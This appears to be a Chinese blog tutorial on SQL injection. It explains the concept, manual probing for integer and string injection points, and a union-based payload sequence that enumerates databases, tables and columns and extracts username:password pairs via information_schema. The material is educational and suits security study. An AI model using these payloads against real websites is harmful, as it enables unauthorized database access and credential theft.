sql注入原理

1.sql注入原理是什么?

SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。

2.sql漏洞手工探测方法?

  1. 判断注入点:
    a) 手工对sql注入漏洞探测方法
    整型的构造方法:
    字段=1’ 报错
    字段=1 and 1=1 正常 1=1只是判断语句等号前后的内容一致或不一致,比如写2=2,也是可以的
    字段=1 and 1=2 异常 1=2也可以写为2=1,知道等号前后不同就行。
    以上三个条件需要全部满足。
    可以判断一定存在sql注入漏洞,且注入漏洞类型为数组型
    b) 字符型的payload构造方法 攻击载荷/exp (恶意语法)
  1. 字段=1 ’ 报错
  2. 字段=1’ and 1=1 --+ 正常
  3. 字段=1’ and 1=2 --+ 异常
    以上三个条件需要全部满足。
  1. 判断数据库表的字段数 order by 1-99 来判断字段数
  2. 判断输出的位置 union select 1,2,3,4,5,6
  3. 爆库名:union select 1,database() ,3,4,5,6
  4. 爆表名:union select 1,(select table_name from information_schema.tables where table_schema='test ’ limit 0,1 ),3,4,5,6 或者
    union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘test’),3,4,5,6 显示全部表
  5. 爆字段名:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='test ’ and table_name='users '),3,4,5,6
  6. 爆数据:union select 1, (select group_concat(username ,0x3a ,password) from test.users ),3,4,5,6

3.sql注入漏洞类型有哪些?分别构造的payload是怎么样的?

1.字符型: 在url后面构造,例:?id=1’ order by 4 --+
2.数值型:在url后面构造,例:?id=1 order by 4

攻击手法:

基于布尔的盲注
基于时间的盲注
联合查询注入
基于错误信息的注入

4.url的结构是怎么样的?

http://172.16.15.10/grade/query.php?user=3
协议://ip或域名:端口/目录/文件.后缀?参数名=值 :端口号 可以省略

5.网站哪些地方可能存在sql注入漏洞?

跟数据库有交互的地方

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值